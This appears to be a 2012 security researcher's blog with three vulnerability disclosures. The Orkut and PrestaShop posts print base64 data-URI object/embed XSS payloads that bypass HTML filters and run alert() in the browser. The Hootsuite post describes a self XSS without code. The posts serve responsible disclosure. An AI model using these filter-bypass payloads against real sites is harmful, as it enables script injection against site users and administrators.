Thursday, December 6, 2012

Google Orkut HTML limitations bypass

When playing around on my personal account I just figured how to bypass the "Unsupported html tags were removed from the html source." present in many places like: Profile - About [name] or posting on Updates. This issue could lead to a self XSS.

The trick is to use object or embed tag on the html tab.

<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk7PC9zY3JpcHQ+'></object>

<EMBED SRC='data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoInhzcyIpOzwvc2NyaXB0Pjwvc3ZnPg==' type='image/svg+xml' AllowScriptAccess='always'></EMBED>

When you hit save or click again on the html button, it will execute the code.

The code is not saved, so it's not persistent.

This issue has already been fixed by Google Security Team and put me on the Honorable Mention on Google Vulnerability Reward Program.

Wednesday, November 7, 2012

PrestaShop <= 1.5.1 Persistent XSS

When installing and analyzing PrestaShop on a secure environment I discovered that it's possible to bypass isCleanHtml() function, used in many places, in this case in particular the Contact Form. 
A user could use this vulnerability, a Persistent Cross-site Scripting, to execute malicious payloads on admins message box.

Proof of concept:
In the message field a user could write:
<embed src='data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIndlYnNlZ3VyYS5uZXQgeHNzIik7PC9zY3JpcHQ+PC9zdmc+' type='image/svg+xml' AllowScriptAccess='always'></embed>
Both Base64 strings are mainly alert() encoded. Those XSS vectors bypass the filter on isCleanHtml() and execute automatically when the admin check the messages on the admin area. This is critical and could be used to implement very bad scenarios. Keep in mind that on some webmail variations, the code is also executed. A user can even play with heading h1 and other HTML on message box.
<a href="#" target="_blank"><img src="" width="800px" height="600px" border="0" /></a>
<a href="#" target="_blank" style="font-size: 30px">Click here</a>
Again, encoding with Base64 could also obfuscate a little bit. I think that in this case in particular, HTML should be stripped out because it has no meaning in my opinion on the contact form. Solution: Vendor reported that upgrading PrestaShop to version 1.5.2 will fix admins message box bug. HTML on email accounts still a possibility in the latest version. According to the vendor, it will be fixed on the next version.

Tuesday, October 30, 2012

Hootsuite labels XSS

You guys use Hootsuite? It's a social media dashboard web app that is used by millions of users.

Well I found that label section on Hootsuite analytics is vulnerable to a persistent XSS (self XSS).
A user could inject any HTML or JavaScript code that will run on the active window.

Proof of concept:

It's important to sanitize every user input to prevent this kind of issue.

Hootsuite security team fixed this very fast showing that some companies still care about web security.